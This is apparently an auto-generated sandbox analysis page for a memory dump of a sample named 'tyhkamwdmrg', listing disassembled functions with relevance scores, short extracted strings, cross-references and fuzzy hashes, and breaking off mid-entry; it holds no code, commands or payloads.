Opcode Fuzzy Hash: bcbd3ac278913f5a57e0f86334c9e36d281ecba73252605fee854748e33e13be
Instruction Fuzzy Hash: 08422A705083418FEB19CF18C4D475ABBE2FF95304F158A9EE8958B396C778D885CB8A

Function 003157D9 Relevance: 6.8, Strings: 5, Instructions: 545COMMON

Download Yara Rule

Strings

>]1, xrefs: 00315D38
&%$#, xrefs: 003155EE
24, xrefs: 00315646
:T, xrefs: 00315656
68, xrefs: 0031564E

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#$24$68$:T$>]1
API String ID: 0-1709322841
Opcode ID: 5fbeaee4b1dfd349dcc88bf19f8e340379f8da28bf26bc963743c193614670c7
Instruction ID: 48b022acf6ffb9fe08158693f1bee858d050eee5f3ff939277e29585bdb806bd
Opcode Fuzzy Hash: 5fbeaee4b1dfd349dcc88bf19f8e340379f8da28bf26bc963743c193614670c7
Instruction Fuzzy Hash: 8D023676618746CBC719DF24C8912AFB3E2FFC8340F5A892DE4C657250E7349946CB82

Function 00316220 Relevance: 6.8, Strings: 5, Instructions: 509COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00316830
;w9y, xrefs: 003162BF
&%$#, xrefs: 00316530
9{4}, xrefs: 003162C7
Wi1, xrefs: 00316945

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#$&%$#$9{4}$;w9y$Wi1
API String ID: 0-3001594901
Opcode ID: 3c9c146deeb5c411cb5ec1eb5363383424d3db6c9c4faf6c229b59c3fa73d0ae
Instruction ID: ba48cc6a123dff80a5dc621db3fb20d9155f4a43bf1e8d25cf9ad4973bbd1f85
Opcode Fuzzy Hash: 3c9c146deeb5c411cb5ec1eb5363383424d3db6c9c4faf6c229b59c3fa73d0ae
Instruction Fuzzy Hash: CCF1EEB6648340CBE315CFA8EC82BAFBBA5FBD9304F15892CE1858B251D774D845CB52

Function 00306BF5 Relevance: 6.6, Strings: 5, Instructions: 340COMMON

Download Yara Rule

Strings

:<, xrefs: 00306C70
TQ, xrefs: 00306D0A
;, xrefs: 00306F3F
A,, xrefs: 00306CFF
^X, xrefs: 00306CF4

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ;$A,$TQ$^X$:<
API String ID: 0-3225828241
Opcode ID: e4956c285c539f36c6068995d9000c4fc53a381f76af550deb450f092807302f
Instruction ID: 9a551cf88f3be42814a53a3904c9fbaccb1797955ed11db327b9e8dac360fe7a
Opcode Fuzzy Hash: e4956c285c539f36c6068995d9000c4fc53a381f76af550deb450f092807302f
Instruction Fuzzy Hash: ABB19BB190A3818BC736CF14C4697ABBBE5EFC2354F198A2CD4C94B291EB758505CB42

Function 00440E4C Relevance: 6.4, Strings: 5, Instructions: 179COMMON

Download Yara Rule

Strings

X, xrefs: 00440FF9
F, xrefs: 00440FE5
X, xrefs: 00440FEF
J, xrefs: 00440E6A
J, xrefs: 00440FDC

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: F$J$J$X$X
API String ID: 0-2166313073
Opcode ID: 12fdb1c193f4f78136981c133ba371dc7561109d75048bcbb9abb70116e7edbf
Instruction ID: 92773d0b5c08f611f98467e021844173e06381cfee8e64ed6143bdee796f32fe
Opcode Fuzzy Hash: 12fdb1c193f4f78136981c133ba371dc7561109d75048bcbb9abb70116e7edbf
Instruction Fuzzy Hash: BD7153706042808FE728CF29C4947A6BFE19F5A304F19C0DED5898F367C676D989CB95

Function 00319136 Relevance: 5.7, Strings: 4, Instructions: 718COMMON

Download Yara Rule

Strings

hbli, xrefs: 00319452
Gz, xrefs: 00319462
`jda, xrefs: 00319442
[[_J, xrefs: 0031945A

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: Gz$[[_J$`jda$hbli
API String ID: 0-4196849723
Opcode ID: 980ce202b6c2601cd8ebe0b1e8035355849e62d5ba6972bdb1f3a2530957ed60
Instruction ID: 904ea694e537194e605ae3ec6c1752f6adc10c0fce6169311470662ff7464f8d
Opcode Fuzzy Hash: 980ce202b6c2601cd8ebe0b1e8035355849e62d5ba6972bdb1f3a2530957ed60
Instruction Fuzzy Hash: F72222B19083419BD71ADF24D8A13ABB7F2FFD6304F19492DE4854B391E7389946CB82

Function 00318FDD Relevance: 5.7, Strings: 4, Instructions: 702COMMON

Download Yara Rule

Strings

hbli, xrefs: 00319452
Gz, xrefs: 00319462
`jda, xrefs: 00319442
[[_J, xrefs: 0031945A

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: Gz$[[_J$`jda$hbli
API String ID: 0-4196849723
Opcode ID: 9a26db3d004465b7a32f55c251a1f1a65ceb7fc8afcd292fe9cf7e4999306c5f
Instruction ID: f5918494e22cecc6d990a023d896ad9209d5029fa02b1ddf4611f9571e2b0ced
Opcode Fuzzy Hash: 9a26db3d004465b7a32f55c251a1f1a65ceb7fc8afcd292fe9cf7e4999306c5f
Instruction Fuzzy Hash: 952222B15083419BD719DF24D8A13ABB7F2FFD6304F15892DE4814B391E7389945CB82

Function 002F4DB0 Relevance: 5.5, Strings: 4, Instructions: 505COMMON

Download Yara Rule

Strings

zP/, xrefs: 002F5072
RN/, xrefs: 002F4E4A
[/, xrefs: 002F5BD8
FN/, xrefs: 002F4E39

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: FN/$RN/$zP/$[/
API String ID: 0-2472311072
Opcode ID: 623ceb041baaa724d326d55392fed91fe6ffcd508f82d66def9ee8b00d96330f
Instruction ID: f2ddd92b45e9e79b8f331166f5695c7a56dec3b2a2ba93b15e5d091e3e9f34bd
Opcode Fuzzy Hash: 623ceb041baaa724d326d55392fed91fe6ffcd508f82d66def9ee8b00d96330f
Instruction Fuzzy Hash: 0112AC79618201CFD708CF29D89076AB7E6FFC8355F19896CE989873A0D738E951CB81

Function 00316E50 Relevance: 5.5, Strings: 4, Instructions: 501COMMON

Download Yara Rule

Strings

JLe6, xrefs: 00316F4F
t1, xrefs: 00317027
0p1, xrefs: 003173A2
IKO{, xrefs: 00316F3F

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 0p1$IKO{$JLe6$t1
API String ID: 0-1454488476
Opcode ID: 75453f407a495fb44a777844ff547252a1be58a0c819dcdbb3147067df984247
Instruction ID: 1316bd85c518e8409e5fa5ff8a80bfc1451b6bff099d4bf7b9043570f9807125
Opcode Fuzzy Hash: 75453f407a495fb44a777844ff547252a1be58a0c819dcdbb3147067df984247
Instruction Fuzzy Hash: 11E144B550C391DBD70ACF24D8902ABBBE5BB8A344F09496CF8C58B241D734E949CB92

Function 0030EBD0 Relevance: 4.7, Strings: 3, Instructions: 997COMMON

Download Yara Rule

Strings

WQ\, xrefs: 0030F734
Oqqs, xrefs: 0030F2F9
.dll, xrefs: 0030F6E8

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: .dll$Oqqs$WQ\
API String ID: 0-1623218989
Opcode ID: 080b110f32c7a3c85897a75130d9a527fe398553bdeab61e87883c5b987ca887
Instruction ID: 3a10089acf67d9ba10760d1b6e1a1f0b0a4665b4ccf59163418ac5078c63053a
Opcode Fuzzy Hash: 080b110f32c7a3c85897a75130d9a527fe398553bdeab61e87883c5b987ca887
Instruction Fuzzy Hash: A16237755093908FC726CF28C86076EBBE2AFD5314F198A6CE8E54B7D2D7358905CB82

Function 0030FE50 Relevance: 4.4, Strings: 3, Instructions: 670COMMON

Download Yara Rule

Strings

#$, xrefs: 0030FF14
&%$#, xrefs: 0031050D
FGX, xrefs: 003101BC

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: #$$&%$#$FGX
API String ID: 0-1745326614
Opcode ID: 0135ab0334760a8fda59cd115112868caa5550515021e8ef7e789e2a9a162adb
Instruction ID: d88d8fb180d22286ff8875591f013664380cab87bd9205831469e81de8f19679
Opcode Fuzzy Hash: 0135ab0334760a8fda59cd115112868caa5550515021e8ef7e789e2a9a162adb
Instruction Fuzzy Hash: EB223272A083809FD71A8F24D8516ABBBE2FFC6310F19892CF5D48B251E775C855CB82

Function 002F548B Relevance: 4.4, Strings: 3, Instructions: 651COMMON

Download Yara Rule

Strings

[/, xrefs: 002F5BD8
eW/, xrefs: 002F5740
cY/, xrefs: 002F593C

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: cY/$eW/$[/
API String ID: 0-1914675730
Opcode ID: e40320d1bdb26732f79ada913d9ae4a6797e0702310b3fdcc4f741de280dc8dc
Instruction ID: 5e8ccce0167d1185a0bf167545e26bc369bd2f71316aa23d5032619704d8ea15
Opcode Fuzzy Hash: e40320d1bdb26732f79ada913d9ae4a6797e0702310b3fdcc4f741de280dc8dc
Instruction Fuzzy Hash: 0C523331118340EFD715CF28D894BABBBE1BF89340F14886DFA8987261C375DA64DB92

Function 00305220 Relevance: 4.4, Strings: 3, Instructions: 622COMMON

Download Yara Rule

Strings

3xy:, xrefs: 003053C0
W0, xrefs: 003057CF
&%$#, xrefs: 00305810

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#$3xy:$W0
API String ID: 0-79224015
Opcode ID: 03fef725f18d42accab87530be6417d4edee1b04484dbc6636f02eaa5976cb42
Instruction ID: 6fece04b5b77273ca9cc88731d7254a497e4a2b8a1dd91a49fd04bb1d9a610fc
Opcode Fuzzy Hash: 03fef725f18d42accab87530be6417d4edee1b04484dbc6636f02eaa5976cb42
Instruction Fuzzy Hash: 71F15A72A18314CFD715DF28DC9276BB3E5FF9A310F098A6CE8858B291E7749904CB91

Function 00307F07 Relevance: 4.0, Strings: 3, Instructions: 266COMMON

Download Yara Rule

Strings

gfff, xrefs: 0030834A
8+(), xrefs: 00307F2F
&%$#, xrefs: 003083F0

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#$8+()$gfff
API String ID: 0-2888556251
Opcode ID: cbbc694ca3ae4fea8c4aade2856101432b4413af0d1e014fcc16eb3c5cc8b85a
Instruction ID: 3552f6cc1de19ca45feddfbce4ad13350cf887a61b7947ee7211adc60c29aedc
Opcode Fuzzy Hash: cbbc694ca3ae4fea8c4aade2856101432b4413af0d1e014fcc16eb3c5cc8b85a
Instruction Fuzzy Hash: B8815872A157118BE325CF24C8A176BB7DAFBC4314F198A3DD4D6A7391DF3889068B81

Function 00319830 Relevance: 4.0, Strings: 3, Instructions: 227COMMON

Download Yara Rule

Strings

~E, xrefs: 003198AA
L, xrefs: 003198A2
F, xrefs: 003198B2

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: F$L$~E
API String ID: 0-2331703154
Opcode ID: 801ebfd2cd4b4355aac552554d6596fa937299e8f1a7f11a0993b14a592235a6
Instruction ID: c2f04320a9b2e5c830dc18a566177f8a9a7223f5f509442898fa875f20687974
Opcode Fuzzy Hash: 801ebfd2cd4b4355aac552554d6596fa937299e8f1a7f11a0993b14a592235a6
Instruction Fuzzy Hash: 85616276648310DBE324CF64EC81B9BBBB9EBC8314F050A2DF9958B281D7758509CB92

Function 00313598 Relevance: 3.9, Strings: 3, Instructions: 183COMMON

Download Yara Rule

Strings

"cGF, xrefs: 003137E3
"cGF, xrefs: 00313693
*+, xrefs: 00313862

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: "cGF$"cGF$*+
API String ID: 0-2487645284
Opcode ID: bf733e7f67ebe59e7dab8b3e182e8014e5cf246254432c1671104799479c1220
Instruction ID: 93c006b23bb5035efced51057e971d7139e6afb8e0675109b18fcb8e6271534b
Opcode Fuzzy Hash: bf733e7f67ebe59e7dab8b3e182e8014e5cf246254432c1671104799479c1220
Instruction Fuzzy Hash: 3061DCB561C3419FD708EF14D886A5FFBB6EBD0308F05892CF5958B245EBB48609CB82

Function 00318A40 Relevance: 3.9, Strings: 3, Instructions: 116COMMON

Download Yara Rule

Strings

Eabc, xrefs: 00318A69
$U&W, xrefs: 00318A51
(]?_, xrefs: 00318A61

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: $U&W$(]?_$Eabc
API String ID: 0-4160622429
Opcode ID: c4caf370861c57bd4cfbc908c4c6421673a8d52ca739e6822fd46eccd2c10fc0
Instruction ID: 5c17da06c058571d4c36e2cfdcce556b19584e7603f5f9b7834f11be302613e5
Opcode Fuzzy Hash: c4caf370861c57bd4cfbc908c4c6421673a8d52ca739e6822fd46eccd2c10fc0
Instruction Fuzzy Hash: 2C31CC326483108BC7258FA4AC827AFF794EF86740F0A493DE9925B280DB719846C786

Function 003B6C0C Relevance: 3.4, Strings: 2, Instructions: 905COMMON

Download Yara Rule

Strings

, xrefs: 003B7617
08H, xrefs: 003B7867

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: $08H
API String ID: 0-1665167545
Opcode ID: cd1760f8bef4061f6c0ace45f04c3575cf35502440aff5330af937132094d271
Instruction ID: c9be15d11c4a5c88aa188904d0ad002a6706c0af28df6b33d7776b1014b69188
Opcode Fuzzy Hash: cd1760f8bef4061f6c0ace45f04c3575cf35502440aff5330af937132094d271
Instruction Fuzzy Hash: ED821534A04204DFCB06DFA8C589AD9B7F5EF89314F2585A4E948AFB66C730EE41DB50

Function 00329F20 Relevance: 3.1, Strings: 2, Instructions: 625COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00329F59
f, xrefs: 0032A181

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: &%$#$f
API String ID: 2994545307-695468775
Opcode ID: 19b2a3ac44966f4c70e6ecb682a9126a9c0e5f68c86d74da47fb365d80790eb4
Instruction ID: 5249e7f1d69cc101b68dde77e66b75c7c8ea4f676dfdb8058d5bf0b3154758e5
Opcode Fuzzy Hash: 19b2a3ac44966f4c70e6ecb682a9126a9c0e5f68c86d74da47fb365d80790eb4
Instruction Fuzzy Hash: 3A120F316087508FD716CF28D891B2BBBE6AFD5314F298A2DE4E287391D770D8448B52

Function 0031CA25 Relevance: 3.1, Strings: 2, Instructions: 603COMMON

Download Yara Rule

Strings

E:G<, xrefs: 0031D049
H.] , xrefs: 0031D034

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: E:G<$H.]
API String ID: 0-4166778975
Opcode ID: c74d35510496cd7c5338f9a9802941f93e90f95c9ce13acc670c6b5c5b856d00
Instruction ID: 26259578428600857184a6d33db90169db84c3c8153bc6fe951e1d16aa229f1b
